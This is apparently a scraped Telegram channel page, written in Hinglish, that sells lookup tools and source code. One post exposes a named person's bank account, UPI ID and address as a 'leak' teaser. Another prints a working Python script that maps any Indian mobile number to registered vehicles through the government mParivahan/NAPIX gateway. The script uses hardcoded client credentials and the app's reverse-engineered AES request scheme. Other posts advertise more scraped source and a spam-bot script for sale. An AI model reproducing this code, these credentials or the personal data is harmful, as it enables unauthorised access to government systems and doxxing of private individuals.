𝘼𝙗𝙝𝙞𝙜𝙮𝙖𝙣 𝙏𝙤𝙤𝙡𝙨 𝙇𝙖𝙗
Открыть в Telegram
Personal research tools • APIs • bots Updates • demos • limited access drops Not for illegal use
БольшеСтрана не указанаКатегория не указана
977
Подписчики
+4924 часа
+3147 дней
+64330 дней
Архив постов
1 021
Utani chijen Maine public mein leak Ki Hai
To soch sakte ho private wale mein kya hoga
Isliye aao join kar lo
1 021
Name: RUKSAR AZMI ISLAM
UPI: ruksarazmiislam@oksbi
Account Type: SAVINGS
IFSC: SBIN0014257
Bank: State Bank of India
Branch: MANKACHAR
City: DHUBRI
State: ASSAM
Address: CHOWK BAZAR, MANKACHAR P.OMANKACHAR DIST.DHUBRI PIN783131
Number to bank info
99.99% success rate
Government service ka use karke maping karti hai isliye success rate bahut high hai
Api 500₹ month
Src 1500₹
Itna cheap Koi nahin dega
Aao lelo @Kz40x
1 021
+2
Do din mein itne source code Diya hun
Abhi to aur Dunga parmanent channel hai 😆
Message here for joining @Kz40x
Price 1200₹ permanent
Har दो-दो din per price badhega
Kyunki src badhati jayegi isliye abhi join kar lo
1 021
def main() -> None:
print("=" * 44)
print(" Mobile → Vehicle Lookup (NAPIX)")
print("=" * 44)
mobile = input("\nEnter 10-digit mobile number: ").strip()
mobile = re.sub(r"\D", "", mobile)
if len(mobile) != 10:
print("Error: enter exactly 10 digits.")
return
print("\nSearching... please wait")
try:
result = vehicle_by_mobile(mobile)
print_result(result)
except Exception as e:
print("\nError:", e)
if name == "main":
main()
`1 021
}
headers = {
"User-Agent": "okhttp/4.9.2",
"Accept": "application/json",
"timestamp": timestamp,
"Authorization": f"Bearer {token}",
"Param2": "2.0.142",
"Param1": "abcd",
"Content-Type": "application/json; charset=utf-8",
}
response = requests.post(
url, json=envelope, headers=headers, timeout=timeout or TIMEOUT
)
raw: Any = response.text
try:
outer = response.json()
encoded = outer.get("data")
if encoded:
encrypted_text = base64.b64decode(encoded).decode("utf-8")
raw = aes_transform(False, encrypted_text, key)
try:
raw = json.loads(raw)
except json.JSONDecodeError:
pass
else:
raw = outer
except Exception:
pass
return response.status_code, raw
def vehicle_by_mobile(mobile_no: str) -> dict[str, Any]:
mobile_no = str(mobile_no or "").strip()
if not re.fullmatch(r"\d{10}", mobile_no):
raise ValueError("Mobile number must be exactly 10 digits")
token = get_token()
url = NAPIX_API_BASE_URL.rstrip("/") + "/vahan/vahancapi/common/getvehiclevalidity"
last: Any = None
for attempt in range(2):
try:
status, result = encrypted_post(
url, {"mobileNo": mobile_no}, token, timeout=10.0
)
except requests.RequestException as exc:
status, result = None, {"error": str(exc)}
if status and status < 500 and result not in (None, ""):
last = result
break
last = result
time.sleep(1.0)
if last is None:
raise RuntimeError("Vahan did not respond. Try again.")
api_message = last.get("apiMessage") or {} if isinstance(last, dict) else {}
vehicles_raw = last.get("data") if isinstance(last, dict) else None
vehicles: list[dict] = []
if isinstance(vehicles_raw, list):
vehicles = [v for v in vehicles_raw if isinstance(v, dict)]
elif isinstance(vehicles_raw, dict):
vehicles = [vehicles_raw]
if not vehicles:
msg = (
(last.get("error") if isinstance(last, dict) else None)
or api_message.get("developerMessage")
or api_message.get("message")
or "No vehicle registered against this mobile number."
)
return {
"mobileNo": mobile_no,
"found": False,
"vehicles": [],
"message": str(msg),
}
formatted = []
for v in vehicles:
entry = {label: v.get(key) for key, label in VEHICLE_VALIDITY_KEYS}
entry["_raw"] = v
formatted.append(entry)
return {
"mobileNo": mobile_no,
"found": True,
"count": len(formatted),
"vehicles": formatted,
}
def print_result(data: dict[str, Any]) -> None:
print("\n" + "=" * 44)
if not data.get("found"):
print("Mobile :", data.get("mobileNo"))
print("Status : No vehicles found")
print("Message:", data.get("message", "-"))
print("=" * 44)
return
print(f"Mobile : {data['mobileNo']}")
print(f"Found : {data.get('count', 0)} vehicle(s)")
print("=" * 44)
for i, v in enumerate(data.get("vehicles") or [], 1):
print(f"\n--- Vehicle #{i} ---")
for label in (
"Registration No",
"State",
"State Code",
"RTO Office",
"Office Code",
"Registration Upto",
"Fitness Upto",
"Tax Upto",
"Insurance Upto",
"PUCC Upto",
"Permit Upto",
):
val = v.get(label)
if val not in (None, "", []):
print(f" {label:20}: {val}")
print("\n" + "=" * 44)
1 021
Number to vehicle src
`
#!/usr/bin/env python3
"""
Pydroid script: Mobile number -> linked vehicles (mParivahan / NAPIX)
Install (Pydroid pip):
requests
pycryptodome
Run:
python vehicle_mobile_pydroid.py
"""
from future import annotations
import base64
import json
import os
import re
import socket
import time
from typing import Any
from urllib.parse import urlparse
try:
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
except ImportError:
raise SystemExit(
"Missing packages.\n"
"Pydroid: Pip → install: requests and pycryptodome"
)
# ── NAPIX config ──────────────────────────────────────────────
NAPIX_BASE_URL = os.getenv(
"NAPIX_BASE_URL", "https://delhigw.napix.gov.in/nic/parivahan/"
).rstrip("/") + "/"
NAPIX_API_BASE_URL = os.getenv(
"NAPIX_API_BASE_URL",
"https://delhigw.napix.gov.in/nic/parivahan/mparivahan/wrapperapi/",
).rstrip("/") + "/"
CLIENT_ID = os.getenv("NAPIX_CLIENT_ID", "b91c303443f61b37106750823881cd2f")
CLIENT_SECRET = os.getenv(
"NAPIX_CLIENT_SECRET", "de83eeeb148878ae375f28756492e8a0"
)
TIMEOUT = 12.0
_TOKEN: dict[str, Any] | None = None
VEHICLE_VALIDITY_KEYS = [
("regNo", "Registration No"),
("stateCd", "State Code"),
("stateName", "State"),
("officeName", "RTO Office"),
("offCd", "Office Code"),
("regnUpto", "Registration Upto"),
("fitUpto", "Fitness Upto"),
("taxUpto", "Tax Upto"),
("insUpto", "Insurance Upto"),
("puccUpto", "PUCC Upto"),
("permitUpto", "Permit Upto"),
]
def aes_transform(encrypt: bool, value: str, key: str) -> str:
key_bytes = key.encode("utf-8")
if encrypt:
encrypted = AES.new(key_bytes, AES.MODE_ECB).encrypt(
pad(value.encode("utf-8"), 16)
)
return base64.b64encode(encrypted).decode("ascii")
decrypted = AES.new(key_bytes, AES.MODE_ECB).decrypt(base64.b64decode(value))
return unpad(decrypted, 16).decode("utf-8")
def request_key(timestamp: str) -> str:
return timestamp[-4:][::-1] + timestamp[:4][::-1] + "!~)#@*&^"
def napix_reachable(timeout: float = 3.0) -> bool:
host = urlparse(NAPIX_BASE_URL).hostname or "delhigw.napix.gov.in"
try:
with socket.create_connection((host, 443), timeout=timeout):
return True
except OSError:
return False
def get_token(force_refresh: bool = False) -> str:
global _TOKEN
now = int(time.time())
if not force_refresh and _TOKEN and int(_TOKEN.get("expires_at", 0)) > now + 30:
return str(_TOKEN["access_token"])
if not napix_reachable():
raise RuntimeError(
"NAPIX gateway not reachable. Indian IP / good net required."
)
r = requests.post(
NAPIX_BASE_URL + "oauth2/token",
data={
"grant_type": "client_credentials",
"scope": "napix",
"client_id": CLIENT_ID,
"client_secret": CLIENT_SECRET,
},
headers={
"User-Agent": "okhttp/4.9.2",
"Content-Type": "application/x-www-form-urlencoded",
},
timeout=TIMEOUT,
)
r.raise_for_status()
data = r.json()
access = data.get("access_token")
if not access:
raise RuntimeError("Token endpoint did not return access_token")
_TOKEN = {
"access_token": access,
"expires_at": now + int(data.get("expires_in", 300)),
}
return str(access)
def encrypted_post(url: str, body: Any, token: str, timeout: float | None = None):
timestamp = str(int(time.time() * 1000))
key = request_key(timestamp)
plain = json.dumps(body if body is not None else {}, separators=(",", ":"))
encrypted_data = aes_transform(True, plain, key)
envelope = {
"data": base64.b64encode(encrypted_data.encode("ascii")).decode("ascii")1 021
Chut faad dunga
Loss hogya mera
Alag alag src sell krta 80k tak main earn kr leta
1 021
New admin is here babies ✅
@kzr0x 🍼
Do you know me? 💫
Don't worry guys
mParivahan ki src kesi lagi sabko?? 👅
1 021
╭━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╮
✨ ˹𝐓ʜᴇ 𝐋ᴏsᴛ ꭙ 𝐒ᴍs 𝐁ᴏᴛ 🪄˼
╰━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╯
🔥 𝐏ʀᴇᴍɪᴜᴍ 𝐓ᴇʟᴇɢʀᴀᴍ 𝐁ᴏᴛ ꜱᴄʀɪᴘᴛ — 𝐍ᴏᴡ 𝐅ᴏʀ ꜱᴀʟᴇ
• 👑 𝐀ᴅᴠᴀɴᴄᴇᴅ 𝐀ᴅᴍɪɴ 𝐏ᴀɴᴇʟ
• 🔥 𝐅ɪʀᴇʙᴀꜱᴇ 𝐍ᴏᴅᴇ 𝐌ᴀɴᴀɢᴇᴍᴇɴᴛ
• ⭐ 𝐅ʀᴇᴇ / 𝐍ᴏʀᴍᴀʟ / 𝐕ɪᴘ / 𝐔ʟᴛɪᴍᴀᴛᴇ 𝐓ɪᴇʀꜱ
• 🎁 𝐑ᴇғᴇʀʀᴀʟ & 𝐁ᴏɴᴜꜱ ꜱʏꜱᴛᴇᴍ
• 💎 𝐑ᴇᴅᴇᴇᴍ 𝐂ᴏᴅᴇ ꜱʏꜱᴛᴇᴍ
• 📢 𝐁ʀᴏᴀᴅᴄᴀꜱᴛ ꜱʏꜱᴛᴇᴍ
• 📅 𝐒ᴄʜᴇᴅᴜʟᴇᴅ 𝐓ᴀꜱᴋꜱ
• 📊 𝐋ɪᴠᴇ ꜱᴛᴀᴛꜱ & 𝐆ʟᴏʙᴀʟ ꜱᴛᴀᴛꜱ
• 👤 𝐔ꜱᴇʀ / 𝐀ᴅᴍɪɴ 𝐌ᴀɴᴀɢᴇᴍᴇɴᴛ
• 🛡️ 𝐅ᴏʀᴄᴇ-𝐉ᴏɪɴ & 𝐁ᴀɴ / 𝐔ɴʙᴀɴ
• 💾 𝐅ᴜʟʟ 𝐁ᴀᴄᴋᴜᴘ & 𝐑ᴇꜱᴛᴏʀᴇ
• ✨ 𝐏ʀᴇᴍɪᴜᴍ 𝐓ᴇʟᴇɢʀᴀᴍ 𝐔ɪ + 𝐂ᴜꜱᴛᴏᴍ 𝐄ᴍᴏᴊɪꜱ
⚡ 𝐅ᴜʟʟʏ 𝐂ᴜꜱᴛᴏᴍɪᴢᴀʙʟᴇ
🧩 𝐄ᴀꜱʏ 𝐃ᴇᴘʟᴏʏᴍᴇɴᴛ
🚀 𝐑ᴇᴀᴅʏ-ᴛᴏ-𝐃ᴇᴘʟᴏʏ ꜱᴇᴛᴜᴘ
💰 𝐒ᴄʀɪᴘᴛ 𝐅ᴏʀ ꜱᴀʟᴇ
📩 𝐅ᴏʀ 𝐏ʀɪᴄᴇ & 𝐃ᴇᴛᴀɪʟꜱ:
👉 @HEHECOMEBACK
╰━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╯
✦ 𝐓ʜᴇ 𝐋ᴏsᴛ ✦
1 021
Pan and GST
Se related jitne bhi API hote Hain
Sabke source code hai ismein
Individual pan info wala nahi hai
Kyunki usmein token ki dikkat hai
